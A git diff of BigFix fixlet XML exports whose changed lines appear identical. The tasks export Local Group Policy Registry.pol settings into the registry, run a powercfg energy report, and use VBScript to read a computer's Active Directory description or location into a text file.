-// Check for ExportRegistryPol.cmd error output
-continue if {not exists lines whose (it contains "Error") of files "Export_Registry_Pol.err" of download folder }
-
-// If we failed to export any of the registry.pol files to INF, stop here, leaving the prior Registry entries intact
-continue if {exit code of action = 0}
-
-// All targeted Registry.pol files have been exported.
-// Delete the output Registry key,
-//  insert a new CaptureTime, and import all of the outputted Registry.inf files
-delete __appendfile
-appendfile reg.exe delete "{parameter "RootKey"}" /F
-appendfile reg.exe add "{parameter "RootKey"}" /v __CaptureTime /t REG_SZ /d "{now}" /F
-
-appendfile SET RETCODE=0
-// Include handling for special cases:
-//  if "value name" is empty substitute "(default)"
-//  escape any embedded quotes with backslash (%22 ==> \%22 )
-//  Double-up on any embedded percent signs (  %25 ==> %25%25 )
-//
-
-appendfile {concatenation "%0d%0a" of ("reg.exe add %22HKLM\Software\BES_LGPO\" & preceding text of last ".inf" of name of item 3 of it /* Removed: naming the key for "computer" or "user", that's evident already :: & "\" & item 0 of it */ & "%22 /v %22" & item 1 of it & "%22 /t REG_SZ /d %22" & item 2 of it & "%22 /F || SET RETCODE += 1") of ((item 0 of it, next line of item 0 of it & "\" & (if it as trimmed string = "" then "(default)" else it) of next line of next line of item 0 of it, concatenation "\%22" of substrings separated by "%22" of concatenation "%25%25" of substrings separated by "%25" of  next line of next line of next line of item 0 of it, item 1 of it)) of (lines whose (previous line of it = "" and it as trimmed string as lowercase = "computer" or it as trimmed string as lowercase = "user") of it, it) of files whose (name of it as lowercase ends with ".inf") of download folder}
-appendfile exit /B %RETCODE%
-
-delete regadd.cmd
-move __appendfile regadd.cmd
-waithidden cmd /c regadd.cmd
-
-// If any of the REG ADD commands failed, the batch will return a non-zero code which we should flag here
-continue if {exit code of action = 0}
-
-// Even if we try to force a GPUpdate, the Policies registry key may not update until reboot
-runhidden gpupdate.exe /target:computer /wait:0
-
-
-// ---- Only comments beyond this line ------
-
-// Example .inf file format
-//; ----------------------------------------------------------
-//; PARSING COMPUTER POLICY
-//; Source file:  Registry.pol
-
-//Computer
-//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
-//NoInternetOpenWith
-//DWORD:1
-//
-//Computer
-//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
-//NoOnlinePrintsWizard
-//DWORD:1
-//
-//Computer
-//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
-//PreXPSP2ShellProtocolBehavior
-//DWORD:0
-//
-//Computer
-//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
-//DisableLocalMachineRunOnce
-//DWORD:1
-//
-// Parsing logic:
-//  * Grab a list of .inf files, and preserve their names (filename is used in naming the output registry key)
-//  * Find a line that is only "Computer" or "User", preceded by an empty line
-//  * Grab that line (Computer|User), and the three lines after it, as items
-//  * The first line (Computer|User) is ignored.  Line 2 and 3 are concatenated to make a registry value name (like Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableLocalMachineRunOnce).  If line 3 is empty replace it with (default)
-//  * The fourth line is used as the value data (DWORD:1).
-// Include handling for special cases:
-//  if "value name" is empty substitute "(default)"
-//  escape any embedded quotes with backslash (%22 ==> \%22 )
-//  Double-up on any embedded percent signs (  %25 ==> %25%25 )
-
-]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1
+  ID       : 22387
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2016-10-25T07:22:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1</Title>
+    <Description><![CDATA[<P>This Task will export Local Group Policy Registry.pol files into a defined set of Registry keys.&nbsp; </P>
+<P>The purpose is to provide a means of inspecting the Local Group Policy configuration in other Fixlets/Tasks.&nbsp; Originally we had a large number of Fixlets reading values from Registry.pol files directly; but the Relevance for doing so was complex, resource-intensive, and prone to causing issues due to file locking of the Registry.pol files.</P>
+<P>This Task will search for both Computer, User, and MLGPO instances of Registry.pol, export them to text files via Microsoft's "LGPO.exe" utility, and import the results into the Registry under a number of keys.&nbsp; Currently these are exported to HKLM\Software\BES_LGPO with subkeys for "Machine", "User", and (potentially) for each MLGPO-defined policy.</P>
+<P>MLGPO reference: <A href="https://technet.microsoft.com/en-us/library/cc766291%28v=ws.10%29.aspx?f=255&amp;MSPPError=-2147217396">https://technet.microsoft.com/en-us/library/cc766291%28v=ws.10%29.aspx?f=255&amp;MSPPError=-2147217396</A></P>
+<P>This Fixlet adds data at HKLM\Software\BES_LGPO subkeys:</P>
+<UL>
+<LI>Machine
+<LI>User
+<LI>S-&lt;whatever SIDS defined for MLGPO settings&gt;</LI></UL>
+<P>&nbsp;Beneath each of these Keys are a number of Values.&nbsp; The Value Name corresponds to the registy key &amp; value that the LGPO configures; and the Value Data corresponds to the Data Type and Value that the LGPO applies.&nbsp; Example</P>
+<P>[HKEY_LOCAL_MACHINE\SOFTWARE\BES_LGPO\User]</P>
+<P>Software\Policies\Microsoft\Windows\Control Panel\Desktop\ScreenSaveActive</P>
+<P>REG_SZ:"SZ:1"</P>
+<P>&nbsp;</P>
+<P>This Task should be run as a repeating Policy to ensure the registry values are updated periodically.&nbsp; The registry values output will be used by a number of Security Policy fixlets.&nbsp; This should also be added as a task in any Baseline that changes Local Group Policy settings, to ensure the new values are captured after the settings are applied.</P>
+<P>&nbsp;v1.1: Updated to handle XP/2003 using ImportRegPol.exe rather than LGPO.exe</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Category>Data Collection</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-07-05</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Aug 2016 21:16:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[begin prefetch block
+ if {version of operating system >= version "6"}
+	add prefetch item name=LGPO.exe sha1=f5a4a8e27b428c2d9a1c1ba7d72ba08b77406a9c size=380208 url=http://MANUAL_BES_CACHING_REQUIRED/LGPO.exe sha256=a8e0b52dea3836071f3f46235c126cb7fe986abdcc3d1b819d7c2cd101999cb3
+  else
+	add prefetch item name=ImportRegPol.exe sha1=69d4881eb10a8f8c121e9ea63323ba6bfc028f31 size=181248 url=http://MANUAL_BES_CACHING_REQUIRED/ImportRegPol.exe
+ endif
+ collect prefetch items
+end prefetch block
+
+
+action uses wow64 redirection false
+if {version of operating system >= version "6"}
+	parameter "LGPO"="{pathname of download file "LGPO.EXE"}"
+	utility __Download\LGPO.exe
+	else
+	parameter "LGPO"="{pathname of download file "ImportRegPol.EXE"}"
+	utility __Download\ImportRegPol.exe
+endif
+
+// Path of each registry.pol file to parse, and the context (Computer|User) for the settings
+// Split via ";", ", /u" refers to User and ", /m" refers to Machine
+// Check Machine\Registry.pol, User\Registry.pol, and each potential MLGPO folder at System32\GroupPolicyUsers
+parameter "Registry.pol"="{pathname of system folder}\GroupPolicy\Machine\Registry.pol, /m;{pathname of system folder}\GroupPolicy\User\Registry.pol, /u{(if it !="" then ";" & it else "") of concatenation ";" of (it & ", /u") of pathnames of files "Registry.pol" of folders of folders "GroupPolicyUsers" of native system folder}"
+
+// Registry key into which we are going to write the output settings -
+parameter "RootKey"="HKEY_LOCAL_MACHINE\Software\BES_LGPO"
+
+// Locate Registry.pol and export it to LGPO Text file
+delete __appendfile
+// This creates a .inf file corresponding to each Registry.pol file found
+// Output .INF files are saved in the __Download folder (taking advantage of the BES Client behavior of keeping the download folder clean)
+// Files are named for the parent folder of Registry.pol - should be "Machine", "User", or the SID for an MLGPO user object
+// Output is generated by LGPO.exe or ImportRegPol.exe depending on OS
+// IF EXIST "PATH\Registry.pol" "PATH\LGPO.EXE" /parse /m "PATH\registry.pol" > __Download\parentdir.inf 2>>__Download\Export_Registry_Pol.err || EXIT /B 1
+if {version of operating system >= version "6"}
+	appendfile {concatenation "%0d%0a" of ("IF EXIST %22" & tuple string item 0 of it & "%22 %22" & parameter "LGPO" & "%22 /parse " & tuple string item 1 of it & " %22" & tuple string item 0 of it & "%22 > __Download\"  & (following text of last "\" of preceding text of last "\" of tuple string item 0 of it) & ".inf 2>>__Download\Export_Registry_Pol.err || EXIT /B 1" ) of substrings separated by ";" of parameter "Registry.pol"}
+else
+	appendfile {concatenation "%0d%0a" of ("IF EXIST %22" & tuple string item 0 of it & "%22 %22" & parameter "LGPO" & "%22 " & tuple string item 1 of it  & "  %22" & tuple string item 0 of it & "%22 /parseOnly /log __Download\"  & (following text of last "\" of preceding text of last "\" of tuple string item 0 of it) & ".inf /error __Download\Export_Registry_Pol.err || EXIT /B 1" ) of substrings separated by ";" of parameter "Registry.pol"}
+endif
+
+delete ExportRegistryPol.cmd
+move __appendfile ExportRegistryPol.cmd
+
+waithidden cmd /c ExportRegistryPol.cmd
+// Check for ExportRegistryPol.cmd error output
+continue if {not exists lines whose (it contains "Error") of files "Export_Registry_Pol.err" of download folder }
+
+// If we failed to export any of the registry.pol files to INF, stop here, leaving the prior Registry entries intact
+continue if {exit code of action = 0}
+
+// All targeted Registry.pol files have been exported.
+// Delete the output Registry key,
+//  insert a new CaptureTime, and import all of the outputted Registry.inf files
+delete __appendfile
+appendfile reg.exe delete "{parameter "RootKey"}" /F
+appendfile reg.exe add "{parameter "RootKey"}" /v __CaptureTime /t REG_SZ /d "{now}" /F
+
+appendfile SET RETCODE=0
+// Include handling for special cases:
+//  if "value name" is empty substitute "(default)"
+//  escape any embedded quotes with backslash (%22 ==> \%22 )
+//  Double-up on any embedded percent signs (  %25 ==> %25%25 )
+//
+
+appendfile {concatenation "%0d%0a" of ("reg.exe add %22HKLM\Software\BES_LGPO\" & preceding text of last ".inf" of name of item 3 of it /* Removed: naming the key for "computer" or "user", that's evident already :: & "\" & item 0 of it */ & "%22 /v %22" & item 1 of it & "%22 /t REG_SZ /d %22" & item 2 of it & "%22 /F || SET RETCODE += 1") of ((item 0 of it, next line of item 0 of it & "\" & (if it as trimmed string = "" then "(default)" else it) of next line of next line of item 0 of it, concatenation "\%22" of substrings separated by "%22" of concatenation "%25%25" of substrings separated by "%25" of  next line of next line of next line of item 0 of it, item 1 of it)) of (lines whose (previous line of it = "" and it as trimmed string as lowercase = "computer" or it as trimmed string as lowercase = "user") of it, it) of files whose (name of it as lowercase ends with ".inf") of download folder}
+appendfile exit /B %RETCODE%
+
+delete regadd.cmd
+move __appendfile regadd.cmd
+waithidden cmd /c regadd.cmd
+
+// If any of the REG ADD commands failed, the batch will return a non-zero code which we should flag here
+continue if {exit code of action = 0}
+
+// Even if we try to force a GPUpdate, the Policies registry key may not update until reboot
+runhidden gpupdate.exe /target:computer /wait:0
+
+
+// ---- Only comments beyond this line ------
+
+// Example .inf file format
+//; ----------------------------------------------------------
+//; PARSING COMPUTER POLICY
+//; Source file:  Registry.pol
+
+//Computer
+//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
+//NoInternetOpenWith
+//DWORD:1
+//
+//Computer
+//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
+//NoOnlinePrintsWizard
+//DWORD:1
+//
+//Computer
+//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
+//PreXPSP2ShellProtocolBehavior
+//DWORD:0
+//
+//Computer
+//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
+//DisableLocalMachineRunOnce
+//DWORD:1
+//
+// Parsing logic:
+//  * Grab a list of .inf files, and preserve their names (filename is used in naming the output registry key)
+//  * Find a line that is only "Computer" or "User", preceded by an empty line
+//  * Grab that line (Computer|User), and the three lines after it, as items
+//  * The first line (Computer|User) is ignored.  Line 2 and 3 are concatenated to make a registry value name (like Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableLocalMachineRunOnce).  If line 3 is empty replace it with (default)
+//  * The fourth line is used as the value data (DWORD:1).
+// Include handling for special cases:
+//  if "value name" is empty substitute "(default)"
+//  escape any embedded quotes with backslash (%22 ==> \%22 )
+//  Double-up on any embedded percent signs (  %25 ==> %25%25 )
+
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Generate PowerCFG Energy Report - Windows (6040).bes b/Sites/Windows Management/Fixlets/Fixlets/Generate PowerCFG Energy Report - Windows (6040).bes
index 8a49683d8..681f3573e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Generate PowerCFG Energy Report - Windows (6040).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Generate PowerCFG Energy Report - Windows (6040).bes	
@@ -1,67 +1,67 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Generate PowerCFG Energy Report - Windows
-  ID       : 6040
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T11:58:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Generate PowerCFG Energy Report - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance><![CDATA[/* Only run if not done in past 30 days */ not exists file "__BESData\__Global\Logs\energy-report.xml" whose(30*day > (now - modification time of it)) of parent folder of client]]></Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2014-03-28</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 11 Apr 2014 18:39:56 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-// http://www.hanselman.com/blog/PowerCfgTheHiddenEnergyAndBatteryToolForWindowsYoureNotUsing.aspx
-
-// Delete previous log, if it exists
-delete "{pathname of parent folder of client}\__BESData\__Global\Logs\energy-report_PowerCFG_CMD.log"
-
-// Disable WoW64 redirection
-action uses wow64 redirection false
-
-
-// File output default location:
-//  C:\Windows\System32\energy-report.html
-//  C:\Windows\System32\energy-report.xml
-
-// Command Format:
-//  POWERCFG /ENERGY [/OUTPUT <FILENAME>] [/XML] [/DURATION <SECONDS>]
-//  POWERCFG /ENERGY /TRACE [/D <FILEPATH>] [/XML] [/DURATION <SECONDS>]
-
-// Parameter List:
-//  /OUTPUT <FILENAME>     Specify the path and filename to store the energy report HTML or XML file.
-//  /XML                   Format the report file as XML.
-//  /DURATION <SECONDS>    Specify the number of seconds to observe system behavior. Default is 60 seconds.
-//  /TRACE                 Record system behavior and do not perform analysis. Trace files will be generated in the current path unless the /D parameter is specified.
-//  /D <FILEPATH>          Specify the directory to store trace data. May only be used with the /TRACE parameter.
-
-// Examples:
-//  POWERCFG /ENERGY
-//  POWERCFG /ENERGY /OUTPUT "longtrace.html" /DURATION 120
-
-waithidden {system folder}\powercfg.exe /energy /xml /DURATION 15 /output "{pathname of parent folder of client}\__BESData\__Global\Logs\energy-report.xml" >> "{pathname of parent folder of client}\__BESData\__Global\Logs\energy-report_PowerCFG_CMD.log"
-]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Generate PowerCFG Energy Report - Windows
+  ID       : 6040
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T11:58:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Generate PowerCFG Energy Report - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance><![CDATA[/* Only run if not done in past 30 days */ not exists file "__BESData\__Global\Logs\energy-report.xml" whose(30*day > (now - modification time of it)) of parent folder of client]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-03-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 11 Apr 2014 18:39:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// http://www.hanselman.com/blog/PowerCfgTheHiddenEnergyAndBatteryToolForWindowsYoureNotUsing.aspx
+
+// Delete previous log, if it exists
+delete "{pathname of parent folder of client}\__BESData\__Global\Logs\energy-report_PowerCFG_CMD.log"
+
+// Disable WoW64 redirection
+action uses wow64 redirection false
+
+
+// File output default location:
+//  C:\Windows\System32\energy-report.html
+//  C:\Windows\System32\energy-report.xml
+
+// Command Format:
+//  POWERCFG /ENERGY [/OUTPUT <FILENAME>] [/XML] [/DURATION <SECONDS>]
+//  POWERCFG /ENERGY /TRACE [/D <FILEPATH>] [/XML] [/DURATION <SECONDS>]
+
+// Parameter List:
+//  /OUTPUT <FILENAME>     Specify the path and filename to store the energy report HTML or XML file.
+//  /XML                   Format the report file as XML.
+//  /DURATION <SECONDS>    Specify the number of seconds to observe system behavior. Default is 60 seconds.
+//  /TRACE                 Record system behavior and do not perform analysis. Trace files will be generated in the current path unless the /D parameter is specified.
+//  /D <FILEPATH>          Specify the directory to store trace data. May only be used with the /TRACE parameter.
+
+// Examples:
+//  POWERCFG /ENERGY
+//  POWERCFG /ENERGY /OUTPUT "longtrace.html" /DURATION 120
+
+waithidden {system folder}\powercfg.exe /energy /xml /DURATION 15 /output "{pathname of parent folder of client}\__BESData\__Global\Logs\energy-report.xml" >> "{pathname of parent folder of client}\__BESData\__Global\Logs\energy-report_PowerCFG_CMD.log"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Get AD Description (3755).bes b/Sites/Windows Management/Fixlets/Fixlets/Get AD Description (3755).bes
index c3ecff075..c2221c7f8 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Get AD Description (3755).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Get AD Description (3755).bes	
@@ -1,86 +1,86 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Get AD Description
-  ID       : 3755
-  Author   : menglish
-  Domain   : BESC
-  Imported : 2014-04-05T06:18:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Get AD Description</Title>
-    <Description><![CDATA[This task will query Active Directory for the 'Location' field and populate a text file called '<FONT color=#008080 size=2><FONT color=#008080 size=2>ADLocation.txt</FONT></FONT>' located in the client root directory ]]></Description>
-    <Relevance>(not exist file &quot;ADDescription.txt&quot; of parent folder of client) OR (exists file &quot;ADDescription.txt&quot; whose (not exist line 1 of it) of parent folder of client)</Relevance>
-    <Source>IBM (mike.english@us.ibm.com)</Source>
-    <SourceReleaseDate>2013-06-05</SourceReleaseDate>
-    <SourceSeverity>N/A</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Software Distribution Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 05 Jun 2013 21:52:45 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here </Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Create VB Script
-delete GetADLocation.vbs
-delete __appendfile
-// Begin VBScript Code
-appendfile Dim objFileSystem, objOutputFile
-appendfile Dim strOutputFile
-appendfile Dim oShell, oAdSysInfo,o
-appendfile Dim sDN, sDescription
-appendfile Set oShell = CreateObject("WScript.Shell")
-appendfile Set oAdSysInfo = CreateObject("ADSystemInfo")
-appendfile sDN = oAdSysInfo.ComputerName
-appendfile Set o = GetObject("LDAP://" & sDN)
-appendfile strComputer = "."
-appendfile
-// generate a filename
-appendfile strOutputFile = "{pathname of parent folder of client as string & "\" & "ADDescription.txt"}"
-appendfile
-appendfile Set objFileSystem = CreateObject("Scripting.fileSystemObject")
-appendfile Set objOutputFile = objFileSystem.CreateTextFile(strOutputFile, TRUE)
-appendfile
-appendfile sDescription = o.Description
-appendfile If sDescription <> "" Then
-appendfile 'wscript.echo sDescription
-appendfile objOutputFile.WriteLine(sDescription)
-appendfile objOutputFile.Close
-appendfile
-appendfile Else
-appendfile sDescription = "AD Description could not be obtained"
-appendfile 'wscript.echo sDescription
-appendfile objOutputFile.WriteLine(sDescription)
-appendfile objOutputFile.Close
-appendfile
-appendfile End If
-appendfile
-appendfile Set objFileSystem = Nothing
-appendfile Set oShell = Nothing
-appendfile Set oAdSysInfo = Nothing
-appendfile Set o = Nothing
-appendfile
-appendfile WScript.Quit(0)
-
-move __appendfile GetADDescription.vbs
-
-// Execute the VBScript silently using cscript.exe
-waithidden cscript.exe GetADDescription.vbs
-
-// Delete the VBScript we just created.
-delete GetADDescription.vbs]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Get AD Description
+  ID       : 3755
+  Author   : menglish
+  Domain   : BESC
+  Imported : 2014-04-05T06:18:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Get AD Description</Title>
+    <Description><![CDATA[This task will query Active Directory for the 'Location' field and populate a text file called '<FONT color=#008080 size=2><FONT color=#008080 size=2>ADLocation.txt</FONT></FONT>' located in the client root directory ]]></Description>
+    <Relevance>(not exist file &quot;ADDescription.txt&quot; of parent folder of client) OR (exists file &quot;ADDescription.txt&quot; whose (not exist line 1 of it) of parent folder of client)</Relevance>
+    <Source>IBM (mike.english@us.ibm.com)</Source>
+    <SourceReleaseDate>2013-06-05</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 05 Jun 2013 21:52:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Create VB Script
+delete GetADLocation.vbs
+delete __appendfile
+// Begin VBScript Code
+appendfile Dim objFileSystem, objOutputFile
+appendfile Dim strOutputFile
+appendfile Dim oShell, oAdSysInfo,o
+appendfile Dim sDN, sDescription
+appendfile Set oShell = CreateObject("WScript.Shell")
+appendfile Set oAdSysInfo = CreateObject("ADSystemInfo")
+appendfile sDN = oAdSysInfo.ComputerName
+appendfile Set o = GetObject("LDAP://" & sDN)
+appendfile strComputer = "."
+appendfile
+// generate a filename
+appendfile strOutputFile = "{pathname of parent folder of client as string & "\" & "ADDescription.txt"}"
+appendfile
+appendfile Set objFileSystem = CreateObject("Scripting.fileSystemObject")
+appendfile Set objOutputFile = objFileSystem.CreateTextFile(strOutputFile, TRUE)
+appendfile
+appendfile sDescription = o.Description
+appendfile If sDescription <> "" Then
+appendfile 'wscript.echo sDescription
+appendfile objOutputFile.WriteLine(sDescription)
+appendfile objOutputFile.Close
+appendfile
+appendfile Else
+appendfile sDescription = "AD Description could not be obtained"
+appendfile 'wscript.echo sDescription
+appendfile objOutputFile.WriteLine(sDescription)
+appendfile objOutputFile.Close
+appendfile
+appendfile End If
+appendfile
+appendfile Set objFileSystem = Nothing
+appendfile Set oShell = Nothing
+appendfile Set oAdSysInfo = Nothing
+appendfile Set o = Nothing
+appendfile
+appendfile WScript.Quit(0)
+
+move __appendfile GetADDescription.vbs
+
+// Execute the VBScript silently using cscript.exe
+waithidden cscript.exe GetADDescription.vbs
+
+// Delete the VBScript we just created.
+delete GetADDescription.vbs]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Get AD Location (3756).bes b/Sites/Windows Management/Fixlets/Fixlets/Get AD Location (3756).bes
index edc027a2f..29a966717 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Get AD Location (3756).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Get AD Location (3756).bes	
@@ -1,86 +1,86 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Get AD Location
-  ID       : 3756
-  Author   : menglish
-  Domain   : BESC
-  Imported : 2014-04-05T06:20:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Get AD Location</Title>
-    <Description><![CDATA[This task will query Active Directory for the 'Location' field and populate a text file called '<FONT color=#008080 size=2><FONT color=#008080 size=2>ADLocation.txt</FONT></FONT>' located in the client root directory ]]></Description>
-    <Relevance>(not exist file &quot;ADLocation.txt&quot; of parent folder of client) OR (exists file &quot;ADLocation.txt&quot; whose (not exist line 1 of it) of parent folder of client)</Relevance>
-    <Source>IBM (mike.english@us.ibm.com)</Source>
-    <SourceReleaseDate>2013-06-05</SourceReleaseDate>
-    <SourceSeverity>N/A</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Software Distribution Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 05 Jun 2013 17:01:40 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here </Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Create VB Script
-delete GetADLocation.vbs
-delete __appendfile
-// Begin VBScript Code
-appendfile Dim objFileSystem, objOutputFile
-appendfile Dim strOutputFile
-appendfile Dim oShell, oAdSysInfo,o
-appendfile Dim sDN, sLocation
-appendfile Set oShell = CreateObject("WScript.Shell")
-appendfile Set oAdSysInfo = CreateObject("ADSystemInfo")
-appendfile sDN = oAdSysInfo.ComputerName
-appendfile Set o = GetObject("LDAP://" & sDN)
-appendfile strComputer = "."
-appendfile
-// generate a filename
-appendfile strOutputFile = "{pathname of parent folder of client as string & "\" & "ADLocation.txt"}"
-appendfile
-appendfile Set objFileSystem = CreateObject("Scripting.fileSystemObject")
-appendfile Set objOutputFile = objFileSystem.CreateTextFile(strOutputFile, TRUE)
-appendfile
-appendfile sLocation = o.Location
-appendfile If sLocation <> "" Then
-appendfile 'wscript.echo sLocation
-appendfile objOutputFile.WriteLine(sLocation)
-appendfile objOutputFile.Close
-appendfile
-appendfile Else
-appendfile sLocation = "AD Location could not be obtained"
-appendfile 'wscript.echo sLocation
-appendfile objOutputFile.WriteLine(sLocation)
-appendfile objOutputFile.Close
-appendfile
-appendfile End If
-appendfile
-appendfile Set objFileSystem = Nothing
-appendfile Set oShell = Nothing
-appendfile Set oAdSysInfo = Nothing
-appendfile Set o = Nothing
-appendfile
-appendfile WScript.Quit(0)
-
-move __appendfile GetADLocation.vbs
-
-// Execute the VBScript silently using cscript.exe
-waithidden cscript.exe GetADLocation.vbs
-
-// Delete the VBScript we just created.
-delete GetADLocation.vbs]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Get AD Location
+  ID       : 3756
+  Author   : menglish
+  Domain   : BESC
+  Imported : 2014-04-05T06:20:07
+  Source   : bigfixm1_main @ BES-Root
+-->
